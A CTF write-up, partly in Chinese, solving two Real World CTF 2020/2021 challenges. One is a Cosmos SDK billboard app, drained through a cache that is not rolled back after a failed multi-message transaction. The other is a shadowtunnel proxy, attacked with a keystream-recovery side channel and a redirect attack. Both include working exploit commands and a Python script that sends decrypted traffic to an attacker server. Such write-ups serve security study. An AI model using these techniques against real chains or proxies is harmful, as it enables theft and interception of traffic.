Writeup for Billboard and Personal Proxy in Real World CTF 2020/2021

Introduction

在期末考试周的间隙,抽出了一个周末的时候,参加了一下长亭举办的RWCTF,看到了2个非常有趣的题目(Billboard和Personal Proxy),于是把整个周末的时间都搭在了这两题上。

Billboard

一个基于Cosmos框架的公链题目,CTF中从未出现的一种题目类型。像以往的所谓Blockchain类型的题目,实际上都是以太坊上的智能合约,但智能合约只是区块链中的九牛一毛。所以就导致了,基本上都没有几个选手在做这道题,可能确实需要有相关的基础才能做吧。

看到题后,直接立下flag:

flag

由于之前有在长亭区块链组实习过,接触的都是这种公链项目,所以上手起来非常流畅。而且这道题目,就是基于当初大哥们带我一起挖到的一个质量很高的漏洞。

所以一血那肯定是我的了。

First BloodFirst Blood!

比赛结束后,出题师傅 带着我一起写了Writeup

感觉写的还不错?那就这边也贴一下吧。。。

Overview

Billboard is a public chain CTF challenge built by using Cosmos SDK and Tendermint .

Note that there hasn’t been any kind of challenges like this before. And this might be a big reason why few people work on this challenge :(

Cosmos

This chapter is intended to provide a brief introduction to the underlying Cosmos SDK for those who are not familiar with it.

Cosmos Blockchain

Loosely speaking, a blockchain is made up of many blocks chained together by some cryptographic methods. Each block contains plenty of transactions. Transactions record the state transition of the whole blockchain world state.

In Cosmos, when a new block is to be linked to the chain, it will experience 4 periods: BeginBlock, DeliverTx, EndBlock and finally Commit.

Here, we will only focus on the DeliverTx period.

Transaction Execution

During DeliverTx, each transaction will be executed.

A transaction is described by the data structure StdTx:

1
2
3
4
5
6
7
// StdTx is a standard way to wrap a Msg with Fee and Signatures.
type StdTx struct {
	Msgs       []sdk.Msg      `json:"msg" yaml:"msg"`
	Fee        StdFee         `json:"fee" yaml:"fee"`
	Signatures []StdSignature `json:"signatures" yaml:"signatures"`
	Memo       string         `json:"memo" yaml:"memo"`
}

It’s worth noting that a transaction consists of a slice of Msg. In other words, a transaction can be filled with more than one Msg, but usually only one.

When the transaction is delivered to execution, all of its msgs will be extracted (msgs := tx.GetMsgs()). After that, all the msgs will be put through the basic validation check (validateBasicTxMsgs(msgs)). If passed, msgs will be sent to run (runMsgs(...)).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
func (app *BaseApp) runTx(mode runTxMode, txBytes []byte, tx sdk.Tx) (gInfo sdk.GasInfo, result *sdk.Result, err error) {
    // ...

    // https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L590-L593
    msgs := tx.GetMsgs()
    if err := validateBasicTxMsgs(msgs); err != nil {
        return sdk.GasInfo{}, nil, err
    }
    // ...

    // https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L634-L642
    runMsgCtx, msCache := app.cacheTxContext(ctx, txBytes)

    result, err = app.runMsgs(runMsgCtx, msgs, mode)
    if err == nil && mode == runTxModeDeliver {
        msCache.Write()
    }
    // ...
}

Here’s another important point to note, in case something wrong occurs when handling all the msgs, a copy of the current state is made by creating a cache named msCache. And on msCache is all the access (both reading and writing) to the underlying KVStore database during the handling. If runMsgs doesn’t return an error, the modification on msCache will then be written to the current state (msCache.Write()). Otherwise (any of the msgs fails), the whole transaction is considered as a failure, and no alteration will be made on the state. That’s to say, Cosmos will revert the state transition when handling a failed msg, which is pretty reasonable.

Understanding this mechanism of Cosmos’s transaction execution contributes to later exploitation.

Msg Handling

But how is msg handled? To explore the reason, we need to dive into the runMsgs function.

Inside runMsgs, each msg is iterated over. For each msg, it is routed to its matched handler according to its type. And the handler will handle the msg, where the function of the msg is achieved.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L658-L687
func (app *BaseApp) runMsgs(ctx sdk.Context, msgs []sdk.Msg, mode runTxMode) (*sdk.Result, error) {
    // ...
    for i, msg := range msgs {
        // ...
        msgRoute := msg.Route()
        handler := app.router.Route(ctx, msgRoute)
        if handler == nil {
            return nil, sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, "unrecognized message route: %s; message index: %d", msgRoute, i)
        }

        msgResult, err := handler(ctx, msg)
        if err != nil {
            return nil, sdkerrors.Wrapf(err, "failed to execute message; message index: %d", i)
        }
        // ...
	}
    // ...
}

By utilizing Cosmos SDK, developers are free to define any kind of Msg they like, and as long as they implement the necessary interfaces and a handler, they can make their Msg do anything they want to do. Furthermore, developers can develop any application they would like on blockchain.

About Cosmos, you can find more on its well-written documentation .

Billboard Game

Back to this challenge, it’s now clear that this challenge is a billboard application based on Cosmos SDK.

You can post your advertisements on the billboard as well as delete them. Meanwhile, you are enabled to deposit some ctc coins into your ad, and the more bucks you drop, the higher your ad will rank. Also, if you want, you can withdraw any money stored inside the ad.

All of these sorts of stuff can be easily achieved by sending the specified type of msg embedded in a transaction towards the blockchain.

For example, to create an advertisement, you should craft a MsgCreateAdvertisement type msg, fill it into a transaction, sign the transaction and finally broadcast the signed transaction to the blockchain nodes. Sounds burdensome? Don’t worry, all of the tricky work can be handled by simply typing the following command:

1
$ billboardcli tx billboard create-advertisement $ID $CONTENT --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

You ought to build the cmd tool billboardcli and, if any reproduction purpose, start a testnet chain by following the provided instructions .

Note: Each account can only create a single ad, and the ad ID is unique. In case you don’t know what your ad ID is, you can find it out by reading the source code .

And then, you can try your best to get your ad ranked as high as possible. Or …, find some vulnerability and exploit it to capture the flag!

Challenge Analysis

Goal

In order to get the flag, we must send a successful transaction containing a CaptureTheFlag type msg.

But, how can we send such a transaction successfully?

By analyzing the source code , we can find out that we need to possess an ad and EMPTY the balance of the specified module account.

Now, the question is how and when the module account is created.

It turns out that all that happens when we create an ad . At the time when we create an ad, a module account named by the ad ID is also generated, whose balance is initialized to 100ctc.

So, everything is now obvious that the KEY to solve this challenge is to steal the 100ctc out from this module account!

Attempts

We first look at the Advertisement data structure. There exists a Deposit field to show how many coins the creator has dropped into this ad.

1
2
3
4
5
6
7
// https://github.com/iczc/billboard/blob/main/x/billboard/types/types.go#L16-L21
type Advertisement struct {
	Creator sdk.AccAddress `json:"creator" yaml:"creator"`
	ID      string         `json:"id" yaml:"id"`
	Content string         `json:"content" yaml:"content"`
	Deposit sdk.Coin       `json:"deposit" yaml:"deposit"`
}

Afterward, we can search for any method that can modify the balance of the module account, but only to find 2 ways – either by MsgDeposit or by MsgWithdraw.

MsgDeposit is used to deposit several ctc coins into the ad. After layer upon layer check, your deposited coins are transferred to the module account. Meanwhile, the Deposit field of your ad is increased as well.

For instance, you can deposit 100ctc coins to your ad by typing the following command:

1
$ billboardcli tx billboard deposit $ID 100ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

And the entire state transition can be described by the picture below.

We ignore the fee deduction in the picture.

MsgWithdraw is aimed at withdrawing the Deposit from the ad. Withdraw function will first check if the requested amount is greater than Deposit. If not, it will then transfer the coins from the module account back to your account.

By executing the next command, you can withdraw 50ctc coins.

1
$ billboardcli tx billboard withdraw $ID 50ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

As we can see in the source code, the check when handling MsgDeposit and MsgWithdraw is extremely strict. We cannot deposit or withdraw negative amount of coins, nor withdraw coins more than you deposit.

There is no way that we can make the balance of the module account below 100ctc!

So, how come it possible that we empty the balance?

The cache!

We notice that the billboard application utilizes a memory cache mechanism for its advertisement data.

When reading advertisement data, the cache in memory is always accessed first . As soon as the advertisement data is modified, it will be updated to KVStore as well as the cache .

So, do you have any thought now? What if a tx failed?

It’s known that failed transactions will be reverted by the blockchain system. In this application, it’s the same but the cache DOES NOT rollback. Any modification that happens in cache remains, regardless of success or failed of the tx.

Based on this observation, we can manage to achieve the goal by poisoning the cache.

We can first deposit some coins, say 100ctc, and then cause the entire transaction failed. The deposited money is added in the cache, but the balance won’t change. Through this way, we can have 100ctc increased in the Deposit field of our ad in cache. What left to us is just withdraw the 100ctc from the module account, thus emptying the balance and achieving the goal!

You may ask how to fail the entire transaction. It’s simple, just fill a transaction with a MsgDeposit type msg followed by a meant-to-fail msg.

Exploit

Now we have known that the transaction is successful if only all msgs in the transaction is executed successfully, and failed tx will be reverted, but the changes in cache will remain rather than rollback.

So the idea is to poison cache with a failed multi msgs transaction:

  1. Construct a transaction, which contains 2 msgs. msg1: deposit 100ctc to the ad msg2: a meant-to-fail msg (like deleting a Non-exist advertisement)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
    "type": "cosmos-sdk/StdTx",
    "value": {
        "msg": [
            {
                "type": "billboard/deposit",
                "value": {
                    "id": "75b6a9be95d0c525eaac199cef2ab63ad2fe4d0da7080b2d9d631fb69aa1b01a",
                    "amount": {
                        "denom": "ctc",
                        "amount": "100"
                    },
                    "depositor": "cosmos12kgjc5jmqrnskzxuxte9pl4drc7keulzl4jjgv"
                }
            },
            {
                "type": "billboard/DeleteAdvertisement",
                "value": {
                    "id": "kumamon",
                    "creator": "cosmos12kgjc5jmqrnskzxuxte9pl4drc7keulzl4jjgv"
                }
            }
        ],
        "fee": {
            "amount": [
                {
                    "denom": "ctc",
                    "amount": "10"
                }
            ],
            "gas": "200000"
        },
        "signatures": null,
        "memo": ""
    }
}
  1. Sign and broadcast the transaction
1
2
$ billboardcli tx sign tx.json --from $KEY --chain-id mainnet --node $RPC > signtx.json
$ billboardcli tx broadcast signtx.json --node $RPC
  1. Withdraw the initialized 100ctc
1
$ billboardcli tx billboard withdraw $ID 100ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

Let’s see what’s happening here:

  • msg1 updates the KVStore and cache, but due to the failure of msg2 the modification on KVStore is reverted while that on cache reserves.
  • Since the cache is read first, withdraw tx will be executed successfully and finally written to the underlying KVStore. Therefore, the 100ctc is transferred from the module account to our account.
  1. So now module account is empty and we can capture the flag !!!
1
$ billboardcli tx billboard ctf $ID --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

rwctf{7hi$1S@C4ChE_l1FeCyc13_vUl_1n_Co5m0S5dk}

Personal Proxy

Overview

这道题一开始也吸引到了我。

之前有看过彭博挖到的那个Shadowsocks的重定向漏洞 ,也在去年的第五空间CTF上做到过一个与此相关的CTF题目 ,而且我还拿这个做过一次面向于大一学弟学妹们的presentation:

presentation

所以我就想,这不是送分题么??

但事实是,我对这个漏洞的一些细节部分的掌握还不太够。。最后花费了周日一整个白天的时间才把这题给做出来。(tcl

Recon

拿到题目,可以得到一些服务器的配置文件和一个加密的流量包。

我们需要做的就是,解密通讯流量。

但与第五空间那题不太一样的是,这题用的代理软件是shadowtunnel

经过n次本地测试,总算搞清楚了大致的一个通讯过程。

proxy

服务器端在50000端口处开启了一个shadowtunnel的服务,能够接受shadowtunnel客户发送的加密数据,并将解密后的数据转发到本地的danted服务(用于SOCKS5代理转发);danted服务会检测数据包格式是否符合SOCKS5协议,若符合则会进行代理。

打开数据包,tcp.flags.ack == 1 && tcp.flags.push == 1过滤掉TCP三次握手和ack应答包,可以发现有2次会话:

2 sessions

还好这学期学了点计网的东西,不然连这个流量包里面到底在干啥都不知道。。。

分别是33734端口和50000端口的一次会话、33798端口与50000端口的一次会话。

SOCKS5

观察每一次会话,可以发现都会先有一个类似于握手的过程,后来才知道这是SOCKS55协议的握手。

wiki 现学SOCKS5协议的具体操作。

  1. 客户端会先向服务端发送请求来确认协议版本及认证方式:

client1

  1. 服务端选择一个认证方式并响应:

server1

  1. 客户端再发送代理请求,可以在此设置将后续数据转发给哪个ip的哪个端口

client2

  1. 服务端再响应:

server2

  1. 客户端后续发送的数据都会被转发到相应的地方。

Stream Cipher

不过如果代理服务器在国外,想要通过明文SOCKS5协议进行代理,就肯定会被GFW拦截到,所以我们就需要对整个过程进行加密处理,这样GFW就不知道到底发的是什么东西了。于是就有了shadowsocks、shadowtunnel这一类的代理软件,帮助我们完成这样的工作。

但是由于这一类软件早期使用的是aes-cbc、aes-cfb这种加密模式,缺乏对integrity的check,所以就很不安全,Shadowsocks Redirect Attack就是因为这个原因。

实际上,aes-cbc、aes-cfb模式的加密,都是基于AES算法来产生keystream,然后使用xor的方式对明文进行加密,即stream cipher。

回到这一题,我们可以发现,每一次会话中客户端和服务端加密所使用的keystream都是一样的。因此,只要我们能够拿到这个keystream,我们就可以对密文进行解密。

那么怎么整出这个keystream呢?那当然是known-plaintext attack。

我们可以根据SOCKS5握手的协议规则,就猜测出前几字节的明文是什么。

虽然后面的keystream我们得不到,但是我们修改SOCKS5握手过程中的某些字段,使得数据包可以被重定向到我们所控制的服务器上。通过这样,服务端对加密数据解密后,就会将明文数据发送给我们了。相当于,在没有key的情况下,实现了对任意密文的解密。

想要完成重定向攻击,我们必须要如下的SOCKS5握手过程:

  1. 第一次握手,仿照流量包里的过程,发送0x78 0x05 0xcb 0xa2这4个字节给服务端
  2. 第二次握手,需要发送明文为0x05 0x01 0x00 0x01 0x?? 0x?? 0x?? 0x?? 0x?? 0x??给服务端(其中前5~8个字节为我们所控制的一台vps的ip,最后2字节为这台vps的某个正在监听的端口。

所以,我们一共需要知道前14字节的keystream,才能完成这样的一个重定向攻击。

Downgrade && Side Channel Attack

前8个字节的keystream可以根据协议固定规则算出来,但是后面我们需要知道流量包里转发的那个ip及端口是什么才行。硬猜的话,需要猜6字节,非常困难。

陷入迷茫。。

后来看到了SOCKS4协议的握手规则,发现居然只需要至少9字节就可以完成整个过程。

socks4

而且最后一字节是NULL空字节。

后来经过测试发现,如果发送的数据包解密后,不存在0x00这一字节,那么服务端是不会返回响应的。

但如果有0x00,那么就会给一个响应。

所以,虽然我们不知道第9字节的keystream是什么,但是我们可以不断地去尝试256种可能,发送前8字节+guess的一字节,如果服务器给了响应,那么就guess正确了。

又由于SOCKS4协议规则里有USERID这样一个可变长的字段,所以我们可以不断地通过这种side channel的方式将后面的keystream计算出来!

其实这边也想过直接用SOCKS4协议完成握手,但是服务器总会返回一个CD字段为“请求被拒绝或失败”的响应包,所以最后还是得使用SOCKS5协议来完成攻击。

Exploit

最后计算出来keystream的前14字节为:0x7d, 0x07, 0xcb, 0xa3, 0x0c, 0x2a, 0x82, 0xcf, 0x2b, 0x21, 0x19, 0xe5, 0xff, 0x2c

随后,我们就可以发送加密的SOCKS握手,实现重定向。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket


def xor(a, b):
    return bytes(x^y for x,y in zip(a,b))

# Data
c0 = bytes([
    0x78, 0x05, 0xcb, 0xa2,  # 0x05 0x02 0x00 0x01
])

keystream = bytes([0x7d, 0x07, 0xcb, 0xa3, 0x0c, 0x2a, 0x82, 0xcf, 0x2b, 0x21, 0x19, 0xe5, 0xff, 0x2c])
c1 = xor(keystream[4:], [
    0x05, 0x01, 0x00, 0x01,
    0x2f, 0x64, 0x8b, 0x63,  # ip: 47.100.139.99
    0x27, 0x10,              # port: 10000
])
print(c1.hex())
# c1 = bytes.fromhex("092b82ceeb89060ae06c")
ciphers = map(bytes.fromhex, [
    # "0d923b7d1f7c35c6d41b3c0e76f146cc1191aa2ea9d34417cc9f99619f3a39b6d4924009e384d19ba15c6503c3a5969aa91caee12a17fc3529ba79cc4e6e9b93da54a4a97997c18fd6f6e7184ca357a8e5c16333ffca3718d2685bfe296af52518580108265dc8b712df75e1ff941b7ac89ff938aab2fa2c6866d829d71cf7012e3d7d1353c49fa6c7d9ff3ffa6ad5139007c2f2b34c80252c26fde65b97dd6b1eba74a3011b6d16816519ec536e3724ac2bde0f3dab539265a5a8e95cc9e1d8d37bba4b52cb61a1883aee0ec2bc03fe7c1dadc41e28e270a851d073e85aa4e407b23bd75fcd3a14ea4eb9b0c0bf96db704b9202aa04062123a735510cb91222d7f93e3bca1ab5f241d62f9b90bc9f90501aee270c291d8303f44f7818977180632957645e9775c92d94ec8adb64487cd977dd05c177ae638a12606b3e8e8f5dea2a13bf0da769915ec079e2b92d46750f561f22cba1ae0daddc08e3bdb72b9d4961f950f278e46ecb15db92bab954ed3b9be4a205c080343328f08b511bec79c558d7a7b6682d46e6b161230902fbfc5c122214fcc6a29d151ea47763344c67234b056b7fa0be25410cfd6dceb8899097b322985e66afb75df905bf5fd415f5d937e104c655f29dd56ca7c09659ad70c172cb8ea9a47dd669523a1ce736a7fc923ee8f07493bd3b5b0616968253e745015f567628ebc060fa8f4a6edfaa49336e426ddbff724b524ca2c419d88dd1856ea54777fb6322a5c88e41096fd18a86457fa0d1f81928a0e433d05f931f01cb16e5ba4bf466ccbac3ad792bb670d6cf7795442990c91bac74000a0b7cb353f7b7e6c99d1a6355811d8c06e678ccb6f3dacf3dab88507709a76548ba3650456f17071239a13e59e01d9b385b30ab00619b93e37976f9eac2d13319f1ff2b6084b6c1121518fad60c9c187e5d80372f593c5503bd7f1f71f3c66e75f9ad27176496c19ed2a64d2d9a24034abcd2d3c97a13c862795f61e56dae73e491a82390d97473642fb7d7a4ad8d7ebc12536c019cdfda8ac0073dce61d4ce413bde9110b9db6a780e65e444afea3f6d7b3be21f1c972e46bae4aca4419ebfc6bf51228bd4d12bed0f2df853e4e3c6b902620040a07eb35c9ba361e58a94517582103add0e84ff876c0f3f375bac7cd86802914b0a8934488839b8340640c3083640af6ec4a7ac532acb6f6279ced850d306a6a43514d0715510976116b8def75a97bc10c5d4a4cd257ff8faea1fc71202f73714b4134710897e205f356da117cb8722d744fc61f0df3a4dd54e6d2d67780d7e2ced2afdd84fe9bbda88b842a2e8704e8889aff24915038e563ccc1668a339ff5f04859a16fcfc12593fd114c7ec46b9285fad6011dc36e7921f09a2523de0168b9c833f14c2bf9caa3aabb73ab7b6d4ffbe401c1ca056be4ddae4a2b5ff75df2b2d10031fd36f47aaa9c6c3c57cc607bee6de7e0e0d416ea0c368feb0317fbb94c09360d421886cbb4642d75788d4f6c1c7411ee67b7850330f90c7f8db7a4d08228038effc2e0a9fd8757e5d149048840ef3036ddec318db3cb3bb78d078b8817c536b081deace66df121e5e1485ea19cd41d64fc5690ed4bc145bcc5cdeeabec9c0375135fc4d9f5de8f3514241d8f6bf7f66d2768630c9f7c2c22025955634767a1f25a636b1d36370bdfc6983ca96c2a9d67f27184d0bca459f966a6f890a023e4dfd12e70fa1f909c57d97aa229da439a69a7ce7e0d580ac537fa2ddc65b18d0b3db3f2309",
    # "b7787add84f00cd68875511996a4e50545fcb39eaec1dbe067c9b8c2976e199cc5fddd32dc07005b4dc48abc9e822cb1184b834b8aa6505b5459fb3c32e8a63e5c0c1e9d95216d36b8cc0808b14092a6911b0889bcb57d4d50e680f45b97be4db67dea74d8827a5d7b5a9e7b3b98b6c5bff8fed2ea4c91d8c917d54e2d00c1053acf09be862cdcf2e916f3e768b1a5fe0150694a6158133542a88b1fc57a1ccf313d377770dbbe39a5ba4da93ce853bbb5376075936791115d56bd5eeccf558de85ba83ed40632c9143780fdd3342f564b3e11aa417efe6f94368ec522ba451521065d6ee04c0b3bd6976c0b5d42f0786ce1dda601c2199f7a109c75d7a1c62259a32f45fba90ce74b5da0daced0579a64c91b71983dbc10e860dc13298755d4089bb44a03dafbd82faab6ad16b9dd57c26c04a2bc7be71f1f571f402faa52d30ed94128f30a00a1dcd5dbf772d27035f4fe7267523e15f123e28bb97e7a0b7750321f554ff157d1b863e7375f356d2e66b35d08fa57191067833a49182955c199f2d6d26c46a4147c8423a0e6b3d34516f17a65d6ebd543e051bb7a9e187e0a24e91959210eba033ab6e2239cc5351c0256647e17bd5d51ce34080fbf317a2a7fb2dc4661ff95befa03935622a95d92ccb124412cf35fb238c2d31f01ac5f7e8ec313cec5b87a5016984484526d6874e6270ae9100b6c4ee6f0a14ff0ea7d77d8142c0447f9716371604c",
    "7ec2f5a654c86b20842b791c1a53a60938320f6854f6aca247b925c630db5de0ed489dca44a75b3cf48c14c200c5bf2ee27132d802905df15f4eda528cd7e4585f495c22402505d619f7819baa1c54625106d5767d62db32e24408f94a2c4430db00897c42ff20dba2e8c6cf6986fd1f1ac888c1946bbb65cdc61438f010d53262f93a6723c4568ab49b9741ca8c56e7b8aa9acafe5fcd367bd790d246e42460b9647de8844d4ffd573044a9d91da1efafc8e3dfa6fcf444285350382453932b04f8429daefb5846d4c2019cfee0f1118ba3e8be21ddc0eeb36322a6913e6f60bd2be59a62f440893599bfc3195e2578ae1ff26088726ce5739e9040710138aefee34c27552e8e0f62a6c8d30542a43077baef9a172a3e0babc9af331d17e0c4704d9f0c7642d4603008c1990021b9a5bd6b89c8c09d60d8e75af02109740987f58cae4713cad92fef9c0ccc5a094522904eda7510bf94276eef5cc87362a56477bae3803369ea4ff81cd4df24748276a5a1776841f4309391522ebf0fa222f20e2fe33d6b81f371e35479ba03a4d6b539c492aa92abda62cbb0167304f2826c0307b56ba8513163e46778"
])

# Redirect Attack
s = socket.socket()
s.connect(("13.52.88.46", 50000))

s.send(c0)
rec = s.recv(1024)
print(rec, rec.hex())       # 0x78, 0x07

s.send(c1)
rec = s.recv(1024)          # 10bytes
print(rec, rec.hex())

for c in ciphers:
    print(s.send(c))

s.close()

vps上开启10000端口的监听,然后运行上面脚本,即可收到解密后的数据包:

flag

相比较于传统CTF密码学中的“论文题”、“套娃题”来说,这一类贴近于真实软件的题目,感觉会更加有趣一些?

Summary

转发一下推文:

Twitter

这次RWCTF应该算是我CTF生涯的巅峰了?是时候该退役了